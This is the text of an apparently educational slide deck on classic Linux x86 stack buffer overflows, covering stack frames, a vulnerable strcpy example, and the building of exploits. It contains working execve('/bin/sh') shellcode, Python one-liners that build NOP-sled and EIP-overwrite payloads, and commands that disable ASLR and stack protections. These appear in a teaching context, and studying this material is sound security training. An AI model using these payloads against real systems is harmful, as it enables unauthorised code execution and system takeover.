2. About me - @johndegruyter
• Security Researcher
• Adjunct Professor
• Musician (bass player)
• Run a couple of CTFs (@the_xrg)
• Christian
• Served in USMC as a computer specialist
• Certifications
– GXPN
– OSWP
– GCPM
– GPEN
– GCIA
– CCNA
– Network+
– A+
@johndegruyter
3. About this talk
• Basic, but technical
• Old-school attack concepts
• Modern protection mechanisms will prevent
these types of attacks
• Stack cookies
• PaX / NX
• ASLR
@johndegruyter
4. Why this talk?
• Discuss fundamentals in order to move on to
more complex techniques
• Lots of legacy systems out there
• New systems don’t always implement protection
mechanisms correctly
• Participate in some challenges. They’re fun!
– http://exploit-exercises.com
– http://community.corest.com/~gera/InsecureProgramming/
• Practice labs will be available:
http://thexrg.com/downloads
@johndegruyter
5. Hello World!
• Source Code (hello.c) -> #include<stdio.h>
main void()
{
printf(“Hello World!”);
}
• Compiling an executable
gcc –ggdb –o hello hello.c
-o <output file>
-ggdb “Produce debugging information for use by GDB.”
@johndegruyter
6. What just happened?
• object file(s)
• hello.c • shared
object(s)
hello
Compiler Linker
Complier takes source Linker takes object files In this case we created
file(s) and creates and links them with an ELF binary executable
object files that other libraries and
contain machine creates our executable
language instructions
@johndegruyter
7. ELF File Structure
• What can we see by
ELF Header examining the file?
Program Header – Header information
Table – Sections info and content
• .data, .rodata, .text
.text – Assembly instructions
(machine code)
.rodata – Linked files
… Tools:
objdump
.data readelf
Section Header ldd
Table strings
@johndegruyter
8. x86 General Registers
Register Description
EIP holds the instruction being executed
ESP points to the TOP of the stack frame
EBP points to the BOTTOM of the stack frame
EAX accumulator
EBX base index used with arrays / general purpose
ECX used for counting things (ie. loop iterations)
EDX typically points to data / general purpose
ESI source index used with copying data
EDI destination index used with copying data
more…
@johndegruyter
10. main() in ./hello
1. PUSH EBP onto the stack
2. MOVE ESP into EBP
@johndegruyter
11. main() in ./hello
1. AND the content of ESP with 0xfffffff0 (mask)
2. SUBTRACT 16 bytes (0x10) from ESP
@johndegruyter
12. main() in ./hello
1. MOVE the address 0x080484a0 into EAX
2. MOVE the EAX into the address ESP points to
@johndegruyter
13. main() in ./hello
1. CALL printf function from LIBC
2. LEAVE and RET
@johndegruyter
14. Linux Process Memory Map
http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory
@johndegruyter
15. The Stack
Low Address
• Last In First Out (LIFO) 0x0800000
data structure
• Grows down in memory
address space Grow (push)
• Used for: %ESP
– passing parameters to
functions Shrink (pop)
– holding local variables
– keeping track of function
calls and returns High Address
%EBP
0xbfffffff
@johndegruyter
20. Stack Frames
Low Address
0x0800000
Functions will use
different portions
of the stack as
they are executed %ESP
main
frame 0
%EBP
High Address
0xbfffffff
@johndegruyter
22. Stack Frames
Low Address
0x0800000
Returns back
to main
leave
ret %ESP
main
frame 0
%EBP
High Address
0xbfffffff
@johndegruyter
23. Function Calls
• When we call a function we need to:
– save our stack information (EBP and ESP)
– return back to the stack frame of the calling function
– continue execution on the instruction immediately
after the call
• This is done using a some common series of
instructions
– prologue
– epilogue
* These may be different based on the calling convention
used by the program.
@johndegruyter
26. Prologue
Save our place on Low Address
the stack so that
we can come back
to it when we
return from our
called function’s
stack frame.
%ESP
High Address %EBP
@johndegruyter
27. Prologue
Save our stack so Low Address
that we can come
back to it
From our main
function, we call
printf( )
%ESP
High Address %EBP
@johndegruyter
28. Prologue
Low Address
When a function
is called, we take the
address of the
instruction following %ESP
the call… High Address %EBP
@johndegruyter
29. Prologue
Low Address
…and push it onto
the stack. This is our
stored instruction %EIP %ESP
pointer (stored EIP)
High Address %EBP
@johndegruyter
30. Prologue
push ebp Low Address
mov esp, ebp
sub X, esp
%EIP %ESP
High Address %EBP
@johndegruyter
31. Prologue
push ebp Low Address
mov esp, ebp
sub X, esp
Push ebp onto the %EBP %ESP
stack %EIP
High Address %EBP
@johndegruyter
32. Prologue
push ebp Low Address
mov esp, ebp
sub X, esp
Move the value of %EBP %ESP %EBP
esp into ebp %EIP
High Address
@johndegruyter
33. Prologue
push ebp Low Address
%ESP
mov esp, ebp
sub X, esp
Subtract value X %EBP %EBP
from ESP %EIP
High Address
@johndegruyter
34. Prologue
push ebp Low Address
%ESP
mov esp, ebp
sub X, esp
X varies and depends %EBP %EBP
on how much storage %EIP
the function needs
High Address
@johndegruyter
35. Prologue
push ebp Low Address
%ESP
mov esp, ebp
sub X, esp
Remember, the stack %EBP %EBP
grows toward low %EIP
addresses
High Address
@johndegruyter
36. Getting back
• We want to return to the previous stack frame
– “leave”
• mov ebp, esp #moves the value of ebp to esp
• pop ebp #POPs the top of the stack into ebp
– “ret”
• pop EIP (Essentially, you don’t see this in the assembly.
You will typically see RET.)
• POPs the stored EIP off the stack into the EIP register to
continue execution
@johndegruyter
37. Epilogue
We want to Low Address
%ESP
return to the
previous stack frame
%EBP %EBP
%EIP
High Address
@johndegruyter
38. Epilogue
mov ebp, esp Low Address
%ESP
pop ebp
This will be seen
in GDB as “leave” %EBP %EBP
%EIP
High Address
@johndegruyter
39. Epilogue
mov ebp, esp Low Address
pop ebp
Move EBP to ESP
Now ESP points to %EBP %EBP %ESP
our stored EBP %EIP
High Address
@johndegruyter
40. Epilogue
mov ebp, esp Low Address
pop ebp
Our stored EBP value
gets popped into
the EBP register setting %EIP %ESP
it back to what it was
High Address %EBP
@johndegruyter
41. Epilogue
mov ebp, esp Low Address
pop ebp
Now ESP points to our
stored EIP value which
gets popped into the %EIP %ESP
EIP register for execution
High Address %EBP
@johndegruyter
45. verify_pin
p[4] EBP EIP
void verify_pin(char *pin)
{
char p[4]; strcpy – copies the
strcpy ( p, pin ); value of the second
… argument into the
} first argument
@johndegruyter
46. verify_pin
p[4] EBP EIP
void verify_pin(char *pin)
{
char p[4]; Not Good!!!
strcpy ( p, pin ); strcpy does not verify
… that p can hold pin
} @johndegruyter
47. verify_pin
p[4] EBP EIP
void verify_pin(char *pin)
{ pin “AAAAAAAAAAAA”
char p[4];
strcpy ( p, pin );
What if pin is larger
…
than 4 bytes?
} @johndegruyter
48. verify_pin
“AAAA” “AAAA” “AAAA”
void verify_pin(char *pin) Stored EBP and
{ Stored EIP are both
char p[4]; overwritten by
strcpy ( p, pin ); “AAAA”
…
} @johndegruyter
49. verify_pin
“AAAA” “AAAA” “AAAA”
Now, when the verify_pin
function returns to main, the
program will try to restore
code execution at the stored
EIP (which we control).
@johndegruyter
50. verify_pin
p[4] EBP EIP
pin “AAAAAAAA” + “ADDR”
Instead of a string of just “A”s
We launch a specially crafted buffer that
will precisely overwrite EIP with a
memory address @johndegruyter
51. verify_pin
AAAA AAAA ADDR
pin “AAAAAAAA” + “ADDR”
“ADDR” will be an address of another
area of memory that we control.
Where our shellcode will be waiting…
@johndegruyter
52. verify_pin
AAAA AAAA ADDR
ADDR
• 4 byte memory address
• Written as hex (x)
• Little endian (bytes in reverse order)
• Points to our shellcode
• Example: 0xbffffa32 -> x32xfaxffxbf
@johndegruyter
53. verify_pin
AAAA AAAA bffffa32
0xbfffa32 - will point to our shellcode
In the sample programs, we need to first
find out where our shellcode resides in
memory to get this address.
@johndegruyter
55. Stack Overflow
• New function
0xbfff0004
“dostuff()” is called
0xbfff0008
0xbfff000c
• We will write past
our stored EIP 0xbfff0010
0xbfff0014
0xbfff0018
0xbfff001c %ESP
0xbfff0020 main()
Frame 0
0xbfff0024 %EBP
@johndegruyter
56. Stack Overflow (prologue)
• Stored EIP gets
pushed on stack 0xbfff0004
0xbfff0008
• Stored EBP gets 0xbfff000c
pushed on stack 0xbfff0010
0xbfff0014 Stored EBP %ESP
• This is so it knows
0xbfff0018 Stored EIP
how to get back
before it called the 0xbfff001c
function 0xbfff0020 main()
Frame 0
0xbfff0024 %EBP
@johndegruyter
57. Stack Overflow (prologue)
• EBP shifts to ESP
0xbfff0004
0xbfff0008 %ESP
• ESP shifts based on
0xbfff000c dostuff()
how much space is Frame 0
needed for the 0xbfff0010
function. This is the 0xbfff0014 Stored EBP %EBP
SUB instruction we 0xbfff0018 Stored EIP
saw earlier. 0xbfff001c
0xbfff0020 main()
Frame 0
0xbfff0024
@johndegruyter
58. Stack Overflow
• Local variables are
0xbfff0004
created on the
stack 0xbfff0008 int x; %ESP
0xbfff000c int y; dostuff()
Frame 0
0xbfff0010
0xbfff0014 Stored EBP %EBP
0xbfff0018 Stored EIP
0xbfff001c
0xbfff0020 main()
Frame 0
0xbfff0024
@johndegruyter
59. Stack Overflow
• Vulnerable function
0xbfff0004
(strcpy, gets, etc)
allows int x to be 0xbfff0008 AAAA %ESP
overwritten by a 0xbfff000c AAAA dostuff()
value larger than its Frame 0
0xbfff0010 AAAA
allocated storage 0xbfff0014 AAAA %EBP
size
0xbfff0018 AAAA
• Overflow occurs
0xbfff001c AAAA
0xbfff0020 main()
Frame 0
0xbfff0024
@johndegruyter
60. Stack Overflow (epilogue)
• ESP has shifted
0xbfff0004
back, so when the
function returns it 0xbfff0008 AAAA
will always be right 0xbfff000c AAAA
after the stored EIP 0xbfff0010 AAAA
0xbfff0014 AAAA
0xbfff0018 0xbfff0199 %ESP
0xbfff001c shellcode
0xbfff0020 shellcode main()
Frame 0
0xbfff0024 shellcode %EBP
@johndegruyter
61. Stack Overflow (epilogue)
• The stored EIP is
grabbed off the stack 0xbfff0004
so that execution can
resume in the calling 0xbfff0008
function 0xbfff000c AAAA
0xbfff0010 AAAA
• It will not return to
the main function, it 0xbfff0014 AAAA
will go to the
0xbfff0018 0xbfff0199
address that
overwrote the stored 0xbfff001c shellcode %ESP
EIP (which we main()
control) 0xbfff0020 shellcode
Frame 0
0xbfff0024 shellcode %EBP
@johndegruyter
62. Stack Overflow (epilogue)
• A common
technique is to 0xbfff0004
write beyond the 0xbfff0008
stored EIP 0xbfff000c AAAA
• Here we will place
0xbfff0010 AAAA
our shellcode or
NOP sled 0xbfff0014 AAAA
• Then find a static 0xbfff0018 0xbfff0199
“jmp esp” 0xbfff001c shellcode %ESP
instruction main()
0xbfff0020 shellcode
Frame 0
0xbfff0024 shellcode %EBP
@johndegruyter
63. Class Overflow Objectives
• Cause a crash
• See if we can overwrite EIP
• Find the distance to stored EIP so that we
know how big to make our buffer
• Find where in the process we can inject our
shellcode
• Overwrite the stored EIP to point to our
shellcode or a NOP sled into our shellcode
@johndegruyter
65. Modern Mitigation
• ASLR – Randomizes the location of memory
segments at runtime.
• Stack Cookies – Places an arbitrary value in
front of stored EBP. Before the function
returns, these values are checked for
consistency.
• Non-executable stack – Sections of memory
marked as non-executable. Shellcode in these
locations will not run.
@johndegruyter
67. Disabling ASLR
• Check for ASLR – If this is anything but
zero, you are likely using ASLR
# cat /proc/sys/kernel/randomize_va_space
• Run this, then cat the file again to verify
# echo 0 > /proc/sys/kernel/randomize_va_space
• Settings should return after a reboot
@johndegruyter
68. Disabling Stack Protection
• To disabling stack cookies, use the following
option with gcc
–fno-stack-protector
• To disable non-executable stack protection, use
the following option with gcc
-z execstack
$ gcc –o verify_pin –z execstack –ggdb –fno-stack-
protector verify_pin.c
@johndegruyter
70. Shellcode
• Small piece of code that we want to execute
to gain access to a system
– start a shell
– open a port
– add a user
• Typically written in assembly
• Be careful of bad characters
– 0x00, 0x0d, 0x0a, 0x20, etc
@johndegruyter
72. Shellcode Example (2)
• execve(“/bin/sh”)
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
• Below is useful if we attack gets()
– closes stdin, reopens /dev/tty, execve(”/bin/sh”)
"x31xc0x31xdbxb0x06xcdx80”
"x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80”
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
http://www.exploit-db.com/exploits/13357/
@johndegruyter
73. Getting shellcode
• Metasploit Framework
– msfpayload + msfencoder
• exploit-db.com
• Metasm - http://metasm.cr0.org/
– Nice tool for working with assembly instructions
– metasm_shell.rb included with Metasploit
@johndegruyter
74. NOP - x90
• “No Operation”
– Assembly instruction that will basically do nothing
– EIP continues to the next instruction
– Useful as padding if we are not sure of the exact
address to jump to (NOP sled)
“x90” * 1000 + *shellcode+ + *EIP overwrite+
Here we could jump back into our buffer
@johndegruyter
75. xCC
• INTerrupt instruction
– Tells debugger to break and will halt the program
– If we can hit xCC, we know that we can jump to
this location and execute code.
– We can use this address and replace it with our
shellcode or NOP sled
– This is a quick way to test our overflow
print “xcc” * 1000
@johndegruyter
77. Basic Python (1)
• We’ll be using python to write our exploits
$ python –c “print ‘A’*1000”
• If you want to write it to a file
$ python –c “print ‘A’*1000” > buffer.text
$ cat buffer.txt | ./vbinary
$ ./vbinary < buffer.txt
@johndegruyter
78. Basic Python (2)
• Finding EIP
$ python –c “print ‘A’*996 + ‘BBBB’”
• Jumping back into our buffer to INT
$ python –c “print ‘xcc’ * 996 + ‘x32xf4xffxbf’”
• Jumping back into our buffer to NOP sled +
INT
$ python –c “print ‘x90’ * 900 + ‘xcc’ * 96 +
‘x10xf4xffxbf’”
@johndegruyter
79. Basic Python (3)
• Jumping back into our buffer to NOP sled + Shellcode
$ python –c “print ‘x90’ * 952 +
‘x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x9
9xb0x0bxcdx80’ + ‘B’ * 20 + ‘x10xf4xffxbf’”
• We need to take in account the length of the shellcode
that it does not change our buffer and overwriting EIP
$ python
>>> x = (paste in your shellcode)
>>> len(x)
>>>24
@johndegruyter
80. Basic Python (4)
• Jumping past our buffer to NOP sled +
shellcode this is good if you can find a static
‘jmp esp’ in the program. In this example
0xbffff475 is the address to jmp esp.
However, this is not necessary if there is no
memory randomization
$ python –c “print ‘x90’ * 996 + ‘x75xf4xffxbf’ +
‘x90’ *500 +
‘x31xc0x50x68//shx68/binx89xe3x50x53x8
9xe1x99xb0x0bxcdx80’ + ‘B’ * 20 + ‘”
@johndegruyter
82. Finding EIP
• We want to overwrite EIP exactly
– Trial and error?
• 500 crashes the program
• Try 450 = crashes
• Try 400 = doesn’t crash
• Try 425 = until we overwrite EIP
• Use a specific 4 character string
AAAAAAAAAAAAAAAAAAAAAAAA + BBBB
• We want to overwrite EIP with ‘424242’ which is the
ascii value of ‘B’
@johndegruyter
83. Cyclic patterns (1)
• Use cyclic pattern as your buffer. This is a
sequence of unique patterns within your
string
• Send the buffer to the program so that it
crashes. You should be able to see the value in
EIP when it crashes.
• If you search for these 4 characters in your
buffer, you will be able to will get the offset of
EIP
@johndegruyter
84. Cyclic patterns (2)
• Metasploit comes with some tools for this
– pattern_create.rb will create a cyclical string to
use as your buffer
$ ./pattern_create.rb 100 > pc100.txt
“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3A
b4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
c9Ad0Ad1Ad2A”
– pattern_offset.rb will find a substring within a
string and give you the offset
$ ./pattern_offset.rb Aa1A
@johndegruyter
85. Don’t have pattern_create.rb?
$ python
>>> import string
>>> x = <paste your 500 cyclic pattern>
>>> find (x, “Aa1A”) + 1
• In the example tarball there is a 500 character
file pc500.txt and a script (pcloc.py) to get the
offset
@johndegruyter
86. Small Buffer (1)
• What if we have a small buffer and can’t write
beyond EIP?
• We have to find another place to put our
shellcode.
@johndegruyter
87. Small Buffer (2)
• What if we have a small buffer and can’t write
beyond EIP?
• We have to find another place to put our
shellcode.
How about an environment variable?
@johndegruyter
88. Shellcode in environment variable
• Environment variables are addressable within
the process for that user
export myname=John
echo $myname
• From the command prompt
export myshell=$(python -c 'print "x90"*1000 +
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x
5ex08x89x46x0cxb0x0bx89xf3x8dx4ex08
x8dx56x0cxcdx80xe8xe1xffxffxffx2fx62x
69x6ex2fx73x68"')
@johndegruyter
89. Finding address of our environment
variable
• Go into GDB, break main, run
• (gdb) x/5000wx $esp
• Keep hitting enter, look for your NOPs
• Tool in the tarball (getEnv)
./getEnv <var>
Addr of shell is 0xbffff6ee
String there is “/bin/bash”
@johndegruyter
91. Labs
• 1 - Exploring ELF
• 3 - Stack Overflows
• Try it yourself or use the step-by-step
walkthroughs
• Available at:http://thexrg.com/downloads
@johndegruyter
Editor's Notes
This connects us with libc so that we can use printf.Printf was not in our source code.
We’ll look at these tools in our labs
Small storage locations -built into the processor – for quick accessEAX used when passing results of functions, comparisons, etc
This is known as the prologue
What do you think is at 0x080484a0
Top of stack gets “popped” into eax
Another way overwriting past EIP
Hijack code execution
Needed this for one of the
typically you don’t need to write itself
Immunity has this as well with mona.pyEasier than trial and error